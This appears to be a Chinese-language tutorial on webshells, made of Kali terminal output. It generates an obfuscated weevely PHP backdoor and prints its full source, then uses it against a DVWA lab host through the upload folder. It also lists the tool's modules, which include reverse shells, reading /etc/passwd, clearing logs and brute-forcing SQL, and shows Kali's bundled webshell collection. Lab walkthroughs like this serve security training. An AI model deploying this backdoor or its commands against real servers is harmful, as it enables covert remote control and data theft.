Security-WebShell介绍及使用

┌──(root㉿kill3r)-[/home/kill3r]
└─# weevely 

[+] weevely 4.0.1
[!] Error: the following arguments are required: url, password

[+] Run terminal or command on the target
    weevely <URL> <password> [cmd]

[+] Recover an existing session
    weevely session <path> [cmd]

[+] Generate new agent
    weevely generate <password> <path>
    
┌──(root㉿kill3r)-[/home/kill3r]
└─# weevely -h
usage: weevely [-h] {terminal,session,generate} ...

positional arguments:
  {terminal,session,generate}
    terminal            Run terminal or command on the target
    session             Recover an existing session
    generate            Generate new agent

options:
  -h, --help            show this help message and exit

┌──(root㉿kill3r)-[/home/kill3r]
└─# weevely generate kill3r eval.php
Generated 'eval.php' with password 'kill3r' of 771 byte size.
                                                                                                                 
┌──(root㉿kill3r)-[/home/kill3r]
└─# cat eval.php        
<?php
$p='$kk"k"="8713ak"bbek""k";$kh="4c1df24e1k"6a8";$kfk"="9f449eb431ffk"";$p="9k"k"dvzq8pk';
$Q='o="";for($i=k"0;$i<$lk";)k"{for($j=0;($j<$c&k"&$i<k"$l);k"$j++,$i+k"+){$o.=$k"t{$i}k"^';
$m='k"(@x(@basek"64_decodk"e(k"$m[1]),$k))k");$o=@ob_gk"et_contk"entk"s();@k"ob_end_k"clea';
$L='UtsMk"tw2M"k";functik"on k"x($t,$k)k"{$c=k"strlen($k"k);$l=k"k"strlen($t);k"k"$k"';
$G='n();k"$r=@bk"ase6k"4_encodek"(@x(@gzk"compresk"s($o),$kk"))k";printk"("$p$khk"$r$kf");}';
$l='$k{k"$jk"};}}k"k"return $o;}k"if k"(@preg_match("/$khk"(.+k"k")$kf/"k",@file_getk"k"_cont';
$U=str_replace('kJ','','crekJakJkJkJte_funckJkJtion');
$x='ents("php:k"//ink"put")k"k",$m)==1) {@ob_stark"k"t()k"k";@evk"al(@gzuncomk"press';
$Y=str_replace('k"','',$p.$L.$Q.$l.$x.$m.$G);
$t=$U('',$Y);$t();
?>

┌──(root㉿kill3r)-[/home/kill3r]
└─# weevely http://192.168.64.245/dvwa/hackable/uploads/eval.php kill3r                 

[+] weevely 4.0.1

[+] Target:     192.168.64.245
[+] Session:    /root/.weevely/sessions/192.168.64.245/eval_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> :help

 :system_procs                 List running processes.                                           
 :system_extensions            Collect PHP and webserver extension list.                        
 :system_info                  Collect system information.                                       
 :backdoor_tcp                 Spawn a Shell on a TCP port.                                     
 :backdoor_reversetcp          Execute a reverse TCP Shell.                                     
 :net_scan                     TCP Port scan.                                                   
 :net_curl                     Perform a curl-like HTTP request.                                 
 :net_proxy                    Run local proxy to pivot HTTP/HTTPS browsing through the target. 
 :net_phpproxy                 Install PHP proxy on the target.                                 
 :net_ifconfig                 Get network interfaces addresses.                                 
 :net_mail                     Send mail.                                                       
 :file_tar                     Compress or expand tar archives.                                 
 :file_bzip2                   Compress or expand bzip2 files.                                   
 :file_download                Download file from remote filesystem.                             
 :file_upload2web              Upload file automatically to a web folder and get corresponding URL. 
 :file_touch                   Change file timestamp.                                           
 :file_upload                  Upload file to remote filesystem.                                 
 :file_find                    Find files with given names and attributes.                       
 :file_ls                      List directory content.                                           
 :file_read                    Read remote file from the remote filesystem.                     
 :file_cp                      Copy single file.                                                 
 :file_mount                   Mount remote filesystem using HTTPfs.                             
 :file_check                   Get attributes and permissions of a file.                         
 :file_gzip                    Compress or expand gzip files.                                   
 :file_grep                    Print lines matching a pattern in multiple files.                 
 :file_zip                     Compress or expand zip files.                                     
 :file_rm                      Remove remote file.                                               
 :file_webdownload             Download an URL.                                                 
 :file_clearlog                Remove string from a file.                                       
 :file_edit                    Edit remote file on a local editor.                               
 :file_cd                      Change current working directory.                                 
 :file_enum                    Check existence and permissions of a list of paths.               
 :Shell_php                    Execute PHP commands.                                             
 :Shell_sh                     Execute Shell commands.                                           
 :Shell_su                     Execute commands with su.                                         
 :audit_suidsgid               Find files with SUID or SGID flags.                               
 :audit_phpconf                Audit PHP configuration.                                         
 :audit_disablefunctionbypass  Bypass disable_function restrictions with mod_cgi and .htaccess. 
 :audit_etcpasswd              Read /etc/passwd with different techniques.                       
 :audit_filesystem             Audit the file system for weak permissions.                       
 :sql_dump                     Multi dbms mysqldump replacement.                                 
 :sql_console                  Execute SQL query or run console.                                 
 :bruteforce_sql               Bruteforce SQL database.                                         

The system Shell interpreter is not available in this session, use the
following command replacements to simulate a unrestricted Shell.

 ps                                         system_procs     
 whoami, hostname, pwd, uname               system_info      
 nmap                                       net_scan         
 curl                                       net_curl         
 ifconfig                                   net_ifconfig     
 mail                                       net_mail         
 tar                                        file_tar         
 bzip2, bunzip2                             file_bzip2       
 touch                                      file_touch       
 find                                       file_find        
 ls, dir                                    file_ls          
 cat                                        file_read        
 cp, copy                                   file_cp          
 gzip, gunzip                               file_gzip        
 grep                                       file_grep        
 zip, unzip                                 file_zip         
 rm                                         file_rm          
 wget                                       file_webdownload 
 vi, vim, emacs, nano, pico, gedit, kwrite  file_edit        
 cd                                         file_cd          
 ifconfig                                   Shell_su         

:system_procs                 列出正在运行的进程.
:system_extensions            收集PHP和Web服务器扩展列表.
:system_info                  收集系统信息.
:backdoor_tcp                 在TCP端口上生成一个Shell.
:backdoor_reversetcp          执行反向TCP Shell.
:net_scan                     TCP端口扫描.
:net_curl                     执行类似于curl的HTTP请求.
:net_proxy                    运行本地代理,将HTTP/HTTPS浏览器请求通过目标主机进行中继.
:net_phpproxy                 在目标主机上安装PHP代理.
:net_ifconfig                 获取网络接口地址.
:net_mail                     发送邮件.
:file_tar                     压缩或解压tar归档文件.
:file_bzip2                   压缩或解压bzip2文件.
:file_download                从远程文件系统下载文件.
:file_upload2web              自动将文件上传到Web目录并获取相应的URL.
:file_touch                   更改文件时间戳.
:file_upload                  将文件上传到远程文件系统.
:file_find                    查找具有给定名称和属性的文件.
:file_ls                      列出目录内容.
:file_read                    从远程文件系统读取远程文件.
:file_cp                      复制单个文件.
:file_mount                   使用HTTPfs挂载远程文件系统.
:file_check                   获取文件的属性和权限.
:file_gzip                    压缩或解压gzip文件.
:file_grep                    在多个文件中打印与模式匹配的行.
:file_zip                     压缩或解压zip文件.
:file_rm                      删除远程文件.
:file_webdownload             下载URL.
:file_clearlog                从文件中删除字符串.
:file_edit                    在本地编辑器上编辑远程文件.
:file_cd                      更改当前工作目录.
:file_enum                    检查路径列表中的存在和权限.
:Shell_php                    执行PHP命令.
:Shell_sh                     执行Shell命令.
:Shell_su                     以su方式执行命令.
:audit_suidsgid               查找具有SUID或SGID标志的文件.
:audit_phpconf                审计PHP配置.
:audit_disablefunctionbypass  使用mod_cgi和.htaccess绕过disable_function限制.
:audit_etcpasswd              使用不同的技术读取/etc/passwd.
:audit_filesystem             对弱权限进行文件系统审计.
:sql_dump                     多个dbms mysqldump替代.
:sql_console                  执行SQL查询或运行控制台.
:bruteforce_sql               暴力破解SQL数据库.

在此会话中,系统Shell解释器不可用,请使用以下命令替代来模拟无限制的Shell使用.

ps                                         system_procs
whoami, hostname, pwd, uname               system_info
nmap                                       net_scan
curl                                       net_curl
ifconfig                                   net_ifconfig
mail                                       net_mail
tar                                        file_tar
bzip2, bunzip2                             file_bzip2
touch                                      file_touch
find                                       file_find
ls, dir                                    file_ls
cat                                        file_read
cp, copy                                   file_cp
gzip, gunzip                               file_gzip
grep                                       file_grep
zip, unzip                                 file_zip
rm                                         file_rm
wget                                       file_webdownload
vi, vim, emacs, nano, pico, gedit, kwrite  file_edit
cd                                         file_cd
ifconfig                                   shell_su

weevely> :system_info
+--------------------+------------------------------------------------------------------------------+
| document_root      | D:/phpstudy_pro/WWW                                                          |
| whoami             |                                                                              |
| hostname           | DESKTOP-B6O1S2Q                                                              |
| pwd                | D:\phpstudy_pro\WWW\dvwa\hackable\uploads                                    |
| open_basedir       |                                                                              |
| safe_mode          | False                                                                        |
| script             | /dvwa/hackable/uploads/eval.php                                              |
| script_folder      | D:\phpstudy_pro\WWW\dvwa\hackable\uploads                                    |
| uname              | Windows NT DESKTOP-B6O1S2Q 6.2 build 9200 (Windows 8 Business Edition) AMD64 |
| os                 | Windows NT                                                                   |
| client_ip          | 192.168.64.215                                                               |
| max_execution_time | 300                                                                          |
| php_self           | /dvwa/hackable/uploads/eval.php                                              |
| dir_sep            | \                                                                            |
| php_version        | 5.5.9                                                                        |
+--------------------+------------------------------------------------------------------------------+
DESKTOP-B6O1S2Q:D:\phpstudy_pro\WWW\dvwa\hackable\uploads $ file_ls
.
..
dvwa_email.png
eval.php

┌──(root㉿kill3r)-[/usr/share/webshells]
└─# webshells                                     

> webshells ~ Collection of webshells

/usr/share/WebShells
├── asp
├── aspx
├── cfm
├── jsp
├── laudanum -> /usr/share/laudanum
├── perl
└── php

┌──(root㉿kill3r)-[/usr/share/webshells]
└─# tree /usr/share/webshells
/usr/share/webshells
├── asp
│   ├── cmd-asp-5.1.asp
│   └── cmdasp.asp
├── aspx
│   └── cmdasp.aspx
├── cfm
│   └── cfexec.cfm
├── jsp
│   ├── cmdjsp.jsp
│   └── jsp-reverse.jsp
├── laudanum -> /usr/share/laudanum
├── perl
│   ├── perlcmd.cgi
│   └── perl-reverse-shell.pl
└── php
    ├── findsocket
    │   ├── findsock.c
    │   └── php-findsock-shell.php
    ├── php-backdoor.php
    ├── php-reverse-shell.php
    ├── qsd-php-backdoor.php
    └── simple-backdoor.php

9 directories, 14 files